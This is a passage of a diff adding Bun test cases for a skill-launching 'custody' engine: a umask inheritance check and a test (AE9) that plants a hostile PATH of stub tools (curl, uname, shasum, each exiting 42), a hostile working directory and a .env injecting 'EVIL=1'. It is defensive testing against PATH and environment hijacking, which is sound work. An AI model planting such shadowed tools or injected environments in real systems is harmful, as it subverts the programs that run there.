applyRepair(fixture) + // Custody tightens umask to 077 for its own writes; the launched skill must + // see the caller umask, not the custody one. The caller umask is whatever the + // engine was invoked under (inherited from this test process); a sibling + // shell launched the same way reports it. The launched skill must match that. + const callerUmask = Bun.spawnSync({ + cmd: ["/bin/sh", "-c", "umask"], + env: { ...fixture.env }, + stdout: "pipe", + }) + .stdout.toString() + .trim() + const run = runEngine(fixture, ["run", "skill-a", "--", "alpha"]) + expect(run.exitCode).toBe(0) + expect(bundleReport(run).umask).toBe(callerUmask) +}) + +// --- AE9: hostile caller environment cannot alter custody --------------------- + +test("AE9: hostile env, PATH, and cwd cannot alter custody; app env is preserved for the skill", () => { + const fixture = makeFixture() + applyRepair(fixture) + const hostileTools = makeToolDir({ + uname: "#!/bin/sh\nexit 42\n", + curl: "#!/bin/sh\nexit 42\n", + shasum: "#!/bin/sh\nexit 42\n", + sha256sum: "#!/bin/sh\nexit 42\n", + }) + const hostileCwd = join(temporaryDirectory("hostile-cwd-"), "app") + mkdirSync(join(hostileCwd, "node_modules"), { recursive: true }) + writeFileSync(join(hostileCwd, ".env"), "EVIL=1\n") + // Top-level preload is the shape Bun honors for a direct `bun